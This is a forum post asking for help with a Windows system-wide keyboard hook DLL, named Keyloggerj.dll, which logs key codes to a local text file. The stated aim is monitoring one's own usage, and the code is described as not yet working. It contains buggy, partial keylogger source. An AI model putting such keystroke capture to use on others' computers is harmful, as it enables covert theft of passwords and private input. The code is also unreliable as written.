-
system wide hook
hi, im trying to make a system wide hook to monitor my computer usage. and it isnt working. ive followed 2 examples, and they say theirs work, but mine doesnt, the dll(hook code)only loads into the process that is calling the dlls hook proceedure. heres my code.
EDIT: ok i got it to load in calculator LOAD_DLL : Keyloggerj.dll at 0x6CF50000. but it doesnt call my keybord proc
Code:
#include <windows.h>
#include <STDIO.H>
#include <IOSTREAM>
#pragma data_seg ("MYSEG")
int fdgfg = 0;
HHOOK hMapObject;
#pragma data_seg()
#pragma comment(linker, "/BASE:1827995648")
HINSTANCE hiModule = 0;
//proto
void Enable();
void DllQuery();
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void Disable();
char buffer[10000];
char* formatx1 = "%d %d %d";
BOOL APIENTRY DllMain( HINSTANCE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
hiModule = hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
void DllQuery()
{
Enable();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
void Enable()
{
hMapObject = SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hiModule,0);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
FILE * aFile;
wsprintf(buffer,formatx1,nCode,wParam,lParam); //WIN32
aFile = fopen ("c:\Keylog.txt","at");
fputs (buffer,aFile);
fclose(aFile);
CallNextHookEx(hMapObject,nCode,wParam,lParam);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
void Disable()
{
UnhookWindowsHookEx(hMapObject);
}